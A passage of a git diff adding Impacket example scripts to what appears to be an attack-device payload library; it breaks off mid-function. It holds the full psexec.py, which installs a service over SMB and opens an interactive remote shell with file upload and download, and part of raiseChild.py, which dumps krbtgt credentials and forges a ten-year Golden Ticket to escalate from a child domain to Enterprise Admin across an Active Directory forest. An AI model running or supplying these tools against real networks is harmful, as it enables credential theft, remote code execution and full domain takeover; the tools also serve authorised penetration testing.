%s %d data bytes" % (dst, len(payload)) +seq_id = 0 +while 1: + # Give the ICMP packet the next ID in the sequence. + seq_id += 1 + icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) + + # Have the IP packet contain the ICMP packet (along with its payload). + ip.contains(icmp) + ip.set_next_header(ip.child().get_ip_protocol_number()) + ip.set_payload_length(ip.child().get_size()) + icmp.calculate_checksum() + + # Send it to the target host. + s.sendto(icmp.get_packet(), (dst, 0)) + + # Wait for incoming replies. + if s in select.select([s],[],[],1)[0]: + reply = s.recvfrom(2000)[0] + + # Use ImpactDecoder to reconstruct the packet hierarchy. + rip = ImpactDecoder.ICMP6Decoder().decode(reply) + + # If the packet matches, report it to the user. + if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): + print "%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number()) + + time.sleep(1) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/psexec.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/psexec.py new file mode 100644 index 0000000..d25a149 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/psexec.py @@ -0,0 +1,486 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) +# +# Author: +# beto (@agsolino) +# +# Reference for: +# DCE/RPC and SMB. + +import sys +import os +import cmd +import logging +from threading import Thread, Lock +import argparse +import random +import string +import time + +from impacket.examples import logger +from impacket import version, smb +from impacket.smbconnection import SMBConnection +from impacket.dcerpc.v5 import transport +from impacket.structure import Structure +from impacket.examples import remcomsvc, serviceinstall + + +class RemComMessage(Structure): + structure = ( + ('Command','4096s=""'), + ('WorkingDir','260s=""'), + ('Priority',' 0: + try: + s.waitNamedPipe(tid,pipe) + pipeReady = True + except: + tries -= 1 + time.sleep(2) + pass + + if tries == 0: + logging.critical('Pipe not ready, aborting') + raise + + fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) + + return fid + + def doStuff(self, rpctransport): + + dce = rpctransport.get_dce_rpc() + try: + dce.connect() + except Exception, e: + #import traceback + #traceback.print_exc() + logging.critical(str(e)) + sys.exit(1) + + global dialect + dialect = rpctransport.get_smb_connection().getDialect() + + try: + unInstalled = False + s = rpctransport.get_smb_connection() + + # We don't wanna deal with timeouts from now on. + s.setTimeout(100000) + if self.__exeFile is None: + installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) + else: + try: + f = open(self.__exeFile) + except Exception, e: + logging.critical(str(e)) + sys.exit(1) + installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) + + if installService.install() is False: + return + + if self.__exeFile is not None: + f.close() + + # Check if we need to copy a file for execution + if self.__copyFile is not None: + installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) + # And we change the command to be executed to this filename + self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command + + tid = s.connectTree('IPC$') + fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f) + + packet = RemComMessage() + pid = os.getpid() + + packet['Machine'] = ''.join([random.choice(string.letters) for _ in range(4)]) + if self.__path is not None: + packet['WorkingDir'] = self.__path + packet['Command'] = self.__command + packet['ProcessID'] = pid + + s.writeNamedPipe(tid, fid_main, str(packet)) + + # Here we'll store the command we type so we don't print it back ;) + # ( I know.. globals are nasty :P ) + global LastDataSent + LastDataSent = '' + + # Create the pipes threads + stdin_pipe = RemoteStdInPipe(rpctransport, + '\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), + smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) + stdin_pipe.start() + stdout_pipe = RemoteStdOutPipe(rpctransport, + '\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) + stdout_pipe.start() + stderr_pipe = RemoteStdErrPipe(rpctransport, + '\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), + smb.FILE_READ_DATA) + stderr_pipe.start() + + # And we stay here till the end + ans = s.readNamedPipe(tid,fid_main,8) + + if len(ans): + retCode = RemComResponse(ans) + logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( + self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) + installService.uninstall() + if self.__copyFile is not None: + # We copied a file for execution, let's remove it + s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) + unInstalled = True + sys.exit(retCode['ErrorCode']) + + except SystemExit: + raise + except: + #import traceback + #traceback.print_exc() + if unInstalled is False: + installService.uninstall() + if self.__copyFile is not None: + s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) + sys.stdout.flush() + sys.exit(1) + +class Pipes(Thread): + def __init__(self, transport, pipe, permissions, share=None): + Thread.__init__(self) + self.server = 0 + self.transport = transport + self.credentials = transport.get_credentials() + self.tid = 0 + self.fid = 0 + self.share = share + self.port = transport.get_dport() + self.pipe = pipe + self.permissions = permissions + self.daemon = True + + def connectPipe(self): + try: + lock.acquire() + global dialect + #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) + self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), + sess_port=self.port, preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + if self.transport.get_kerberos() is True: + self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) + else: + self.server.login(user, passwd, domain, lm, nt) + lock.release() + self.tid = self.server.connectTree('IPC$') + + self.server.waitNamedPipe(self.tid, self.pipe) + self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) + self.server.setTimeout(1000000) + except: + import traceback + traceback.print_exc() + logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) + + +class RemoteStdOutPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + global LastDataSent + if ans != LastDataSent: + sys.stdout.write(ans.decode('cp437')) + sys.stdout.flush() + else: + # Don't echo what I sent, and clear it up + LastDataSent = '' + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + if LastDataSent > 10: + LastDataSent = '' + except: + pass + +class RemoteStdErrPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + sys.stderr.write(str(ans)) + sys.stderr.flush() + except: + pass + +class RemoteShell(cmd.Cmd): + def __init__(self, server, port, credentials, tid, fid, share, transport): + cmd.Cmd.__init__(self, False) + self.prompt = '\x08' + self.server = server + self.transferClient = None + self.tid = tid + self.fid = fid + self.credentials = credentials + self.share = share + self.port = port + self.transport = transport + self.intro = '[!] Press help for extra shell commands' + + def connect_transferClient(self): + #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) + self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, + preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + if self.transport.get_kerberos() is True: + self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, + kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) + else: + self.transferClient.login(user, passwd, domain, lm, nt) + + def do_help(self, line): + print """ + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) + get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir + ! {cmd} - executes a local shell cmd +""" % (self.share, self.share) + self.send_data('\r\n', False) + + def do_shell(self, s): + os.system(s) + self.send_data('\r\n') + + def do_get(self, src_path): + try: + if self.transferClient is None: + self.connect_transferClient() + + import ntpath + filename = ntpath.basename(src_path) + fh = open(filename,'wb') + logging.info("Downloading %s\%s" % (self.share, src_path)) + self.transferClient.getFile(self.share, src_path, fh.write) + fh.close() + except Exception, e: + logging.critical(str(e)) + pass + + self.send_data('\r\n') + + def do_put(self, s): + try: + if self.transferClient is None: + self.connect_transferClient() + params = s.split(' ') + if len(params) > 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '/' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + f = dst_path + '/' + src_file + pathname = string.replace(f,'/','\\') + logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) + self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) + fh.close() + except Exception, e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + def do_lcd(self, s): + if s == '': + print os.getcwd() + else: + os.chdir(s) + self.send_data('\r\n') + + def emptyline(self): + self.send_data('\r\n') + return + + def default(self, line): + self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') + + def send_data(self, data, hideOutput = True): + if hideOutput is True: + global LastDataSent + LastDataSent = data + else: + LastDataSent = '' + self.server.writeFile(self.tid, self.fid, data) + +class RemoteStdInPipe(Pipes): + def __init__(self, transport, pipe, permisssions, share=None): + self.shell = None + Pipes.__init__(self, transport, pipe, permisssions, share) + + def run(self): + self.connectPipe() + self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) + self.shell.cmdloop() + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at ' + 'the target (w/o path) - (default:cmd.exe)') + parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, ' + 'arguments are passed in the command option') + parser.add_argument('-path', action='store', help='path of the command to execute') + parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If ommited it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in remoteName: + password = password + '@' + remoteName.rpartition('@')[0] + remoteName = remoteName.rpartition('@')[2] + + if domain is None: + domain = '' + + if options.target_ip is None: + options.target_ip = remoteName + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + command = ' '.join(options.command) + if command == ' ': + command = 'cmd.exe' + + executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes, + options.aesKey, options.k, options.dc_ip) + executer.run(remoteName, options.target_ip) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/raiseChild.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/raiseChild.py new file mode 100644 index 0000000..3ea467a --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/raiseChild.py @@ -0,0 +1,1287 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# This script implements a child-domain to forest privilege escalation +# as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will +# be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented +# by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz). +# The idea of automating all these tasks came from @mubix. +# +# The workflow is as follows: +# Input: +# 1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]' +# The domain specified MUST be the domain FQDN. +# 2) Optionally a pathname to save the generated golden ticket (-w switch) +# 3) Optionally a target to PSEXEC with Enterprise Admin privieleges to (-target-exec switch) +# +# Process: +# 1) Find out where the child domain controller is located and get its info (via [MS-NRPC]) +# 2) Find out what the forest FQDN is (via [MS-NRPC]) +# 3) Get the forest's Enterprise Admin SID (via [MS-LSAT]) +# 4) Get the child domain's krbtgt credentials (via [MS-DRSR]) +# 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array +# and setting expiration 10 years from now +# 6) Use the generated ticket to log into the forest and get the krbtgt/admin info +# 7) If file was specified, save the golden ticket in ccache format +# 8) If target was specified, a PSEXEC shell is launched +# +# Output: +# 1) Forest's krbtgt/admin credentials +# 2) A golden ticket saved in ccache for future fun and profit +# 3) PSExec Shell with Enterprise Admin privileges at target-exec parameter. +# +# IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the +# forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar +# +# E.G: +# Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx): +# A forest is the only component of the Active Directory logical structure that is a security boundary. +# By contrast, a domain is not a security boundary because it is not possible for administrators from one domain +# to prevent a malicious administrator from another domain within the forest from accessing data in their domain. +# A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers. +# In addition, each domain has its own individual security policies and trust relationships with other domains. +# +# + +import argparse +import datetime +import logging +import random +import string +import sys +import os +import cmd +import time +from threading import Thread, Lock +from binascii import unhexlify, hexlify +from socket import gethostbyname +from struct import unpack + +try: + import pyasn1 +except ImportError: + logging.critical('This module needs pyasn1 installed') + logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1') + sys.exit(1) +from impacket import version +from impacket.krb5.types import Principal, KerberosTime +from impacket.krb5 import constants +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError +from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart +from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype +from impacket.dcerpc.v5.ndr import NDRULONG +from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED +from pyasn1.codec.der import decoder, encoder +from impacket.examples import logger +from impacket.ntlm import LMOWFv1, NTOWFv1 +from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx +from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids +from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS +from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ + PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ + PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO +from impacket.dcerpc.v5 import transport, drsuapi, epm, samr +from impacket.smbconnection import SessionError +from impacket.nt_errors import STATUS_NO_LOGON_SERVERS +from impacket.smbconnection import SMBConnection, smb +from impacket.structure import Structure +from impacket.examples import remcomsvc, serviceinstall + +################################################################################ +# HELPER FUNCTIONS +################################################################################ + +class RemComMessage(Structure): + structure = ( + ('Command','4096s=""'), + ('WorkingDir','260s=""'), + ('Priority',' 0: + try: + s.waitNamedPipe(tid,pipe) + pipeReady = True + except: + tries -= 1 + time.sleep(2) + pass + + if tries == 0: + logging.critical('Pipe not ready, aborting') + raise + + fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) + + return fid + +class Pipes(Thread): + def __init__(self, transport, pipe, permissions, TGS=None, share=None): + Thread.__init__(self) + self.server = 0 + self.transport = transport + self.credentials = transport.get_credentials() + self.tid = 0 + self.fid = 0 + self.share = share + self.port = transport.get_dport() + self.pipe = pipe + self.permissions = permissions + self.TGS = TGS + self.daemon = True + + def connectPipe(self): + try: + lock.acquire() + global dialect + self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), + sess_port=self.port, preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + self.server.login(user, passwd, domain, lm, nt) + lock.release() + self.tid = self.server.connectTree('IPC$') + + self.server.waitNamedPipe(self.tid, self.pipe) + self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) + self.server.setTimeout(1000000) + except Exception, e: + logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) + +class RemoteStdOutPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + global LastDataSent + if ans != LastDataSent: + sys.stdout.write(ans) + sys.stdout.flush() + else: + # Don't echo what I sent, and clear it up + LastDataSent = '' + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + if LastDataSent > 10: + LastDataSent = '' + except: + pass + +class RemoteStdErrPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + sys.stderr.write(str(ans)) + sys.stderr.flush() + except: + pass + +class RemoteShell(cmd.Cmd): + def __init__(self, server, port, credentials, tid, fid, TGS, share): + cmd.Cmd.__init__(self, False) + self.prompt = '\x08' + self.server = server + self.transferClient = None + self.tid = tid + self.fid = fid + self.credentials = credentials + self.share = share + self.port = port + self.TGS = TGS + self.intro = '[!] Press help for extra shell commands' + + def connect_transferClient(self): + self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, + preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) + + def do_help(self, line): + print """ + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) + get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir + ! {cmd} - executes a local shell cmd +""" % (self.share, self.share) + self.send_data('\r\n', False) + + def do_shell(self, s): + os.system(s) + self.send_data('\r\n') + + def do_get(self, src_path): + try: + if self.transferClient is None: + self.connect_transferClient() + + import ntpath + filename = ntpath.basename(src_path) + fh = open(filename,'wb') + logging.info("Downloading %s\%s" % (self.share, src_path)) + self.transferClient.getFile(self.share, src_path, fh.write) + fh.close() + except Exception, e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + def do_put(self, s): + try: + if self.transferClient is None: + self.connect_transferClient() + params = s.split(' ') + if len(params) > 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '/' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + f = dst_path + '/' + src_file + pathname = string.replace(f,'/','\\') + logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) + self.transferClient.putFile(self.share, pathname, fh.read) + fh.close() + except Exception, e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + + def do_lcd(self, s): + if s == '': + print os.getcwd() + else: + try: + os.chdir(s) + except Exception, e: + logging.error(str(e)) + self.send_data('\r\n') + + def emptyline(self): + self.send_data('\r\n') + return + + def default(self, line): + self.send_data(line+'\r\n') + + def send_data(self, data, hideOutput = True): + if hideOutput is True: + global LastDataSent + LastDataSent = data + else: + LastDataSent = '' + self.server.writeFile(self.tid, self.fid, data) + +class RemoteStdInPipe(Pipes): + def __init__(self, transport, pipe, permisssions, TGS=None, share=None): + Pipes.__init__(self, transport, pipe, permisssions, TGS, share) + + def run(self): + self.connectPipe() + shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) + shell.cmdloop() + +class RAISECHILD: + def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''): + self.__rid = 0 + self.__target = target + self.__kdcHost = None + self.__command = command + self.__writeTGT = options.w + self.__domainSid = '' + self.__doKerberos = options.k + self.__drsr = None + self.__ppartialAttrSet = None + self.__creds = {} + + self.__creds['username'] = username + self.__creds['password'] = password + self.__creds['domain'] = domain + self.__creds['lmhash'] = '' + self.__creds['nthash'] = '' + self.__creds['aesKey'] = options.aesKey + self.__creds['TGT'] = None + self.__creds['TGS'] = None + + #if options.dc_ip is not None: + # self.__kdcHost = options.dc_ip + #else: + # self.__kdcHost = domain + self.__kdcHost = None + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + self.__creds['lmhash'] = unhexlify(lmhash) + self.__creds['nthash'] = unhexlify(nthash) + + # Transform IP addresses into FQDNs + if self.__target is not None: + self.__target = self.getDNSMachineName(self.__target) + logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target)) + + NAME_TO_ATTRTYP = { + 'objectSid': 0x90092, + 'userPrincipalName': 0x90290, + 'sAMAccountName': 0x900DD, + 'unicodePwd': 0x9005A, + 'dBCSPwd': 0x90037, + 'supplementalCredentials': 0x9007D, + } + + ATTRTYP_TO_ATTID = { + 'objectSid': '1.2.840.113556.1.4.146', + 'userPrincipalName': '1.2.840.113556.1.4.656', + 'sAMAccountName': '1.2.840.113556.1.4.221', + 'unicodePwd': '1.2.840.113556.1.4.90', + 'dBCSPwd': '1.2.840.113556.1.4.55', + 'supplementalCredentials': '1.2.840.113556.1.4.125', + } + + KERBEROS_TYPE = { + 1:'dec-cbc-crc', + 3:'des-cbc-md5', + 17:'aes128-cts-hmac-sha1-96', + 18:'aes256-cts-hmac-sha1-96', + 0xffffff74:'rc4_hmac', + } + + HMAC_SHA1_96_AES256 = 0x10 + + def getChildInfo(self, creds): + logging.debug('Calling NRPC DsrGetDcNameEx()') + target = creds['domain'] + if self.__doKerberos is True: + # In Kerberos we need the target's name + machineNameOrIp = self.getDNSMachineName(gethostbyname(target)) + logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp)) + else: + machineNameOrIp = target + + stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], + creds['nthash'], creds['aesKey']) + if self.__doKerberos or creds['aesKey'] is not None: + rpctransport.set_kerberos(True) + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(MSRPC_UUID_NRPC) + + resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) + #resp.dump() + return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1] + + @staticmethod + def getMachineName(machineIP): + s = SMBConnection(machineIP, machineIP) + try: + s.login('','') + except Exception, e: + logging.debug('Error while anonymous logging into %s' % machineIP) + + s.logoff() + return s.getServerName() + + @staticmethod + def getDNSMachineName(machineIP): + s = SMBConnection(machineIP, machineIP) + try: + s.login('','') + except Exception, e: + logging.debug('Error while anonymous logging into %s' % machineIP) + + s.logoff() + return s.getServerName() + '.' + s.getServerDNSDomainName() + + def getParentSidAndAdminName(self, parentDC, creds): + if self.__doKerberos is True: + # In Kerberos we need the target's name + machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC)) + logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp)) + else: + machineNameOrIp = gethostbyname(parentDC) + + logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') + stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], + creds['nthash'], creds['aesKey']) + rpctransport.set_kerberos(self.__doKerberos) + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(MSRPC_UUID_LSAT) + + resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) + policyHandle = resp['PolicyHandle'] + + resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) + + domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() + + # Now that we have the Sid, let's get the Administrator's account name + sids = list() + sids.append(domainSid+'-500') + resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta) + adminName = resp['TranslatedNames']['Names'][0]['Name'] + + return domainSid, adminName + + def __connectDrds(self, domainName, creds): + if self.__doKerberos is True or creds['TGT'] is not None: + # In Kerberos we need the target's name + machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName)) + logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp)) + else: + machineNameOrIp = gethostbyname(domainName) + stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI, + protocol='ncacn_ip_tcp') + rpc = transport.DCERPCTransportFactory(stringBinding) + if hasattr(rpc, 'set_credentials'): + # This method exists only for selected protocol sequences. + if creds['TGT'] is not None: + rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT']) + rpc.set_kerberos(True) + else: + rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], + creds['nthash'], creds['aesKey']) + rpc.set_kerberos(self.__doKerberos) + self.__drsr = rpc.get_dce_rpc() + self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + if self.__doKerberos or creds['TGT'] is not None: + self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + self.__drsr.connect() + self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) + + request = drsuapi.DRSBind() + request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID + drs = drsuapi.DRS_EXTENSIONS_INT() + drs['cb'] = len(drs) #- 4 + drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\ + drsuapi.DRS_EXT_STRONG_ENCRYPTION + drs['SiteObjGuid'] = drsuapi.NULLGUID + drs['Pid'] = 0 + drs['dwReplEpoch'] = 0 + drs['dwFlagsExt'] = 0 + drs['ConfigObjGUID'] = drsuapi.NULLGUID + drs['dwExtCaps'] = 127 + request['pextClient']['cb'] = len(drs) + request['pextClient']['rgb'] = list(str(drs)) + resp = self.__drsr.request(request) + + # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of + # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. + drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() + + # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. + ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * ( + len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) + drsExtensionsInt.fromString(ppextServer) + + if drsExtensionsInt['dwReplEpoch'] != 0: + # Different epoch, we have to call DRSBind again + if logging.getLogger().level == logging.DEBUG: + logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ + 'dwReplEpoch']) + drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] + request['pextClient']['cb'] = len(drs) + request['pextClient']['rgb'] = list(str(drs)) + resp = self.__drsr.request(request) + + self.__hDrs = resp['phDrs'] + + # Now let's get the 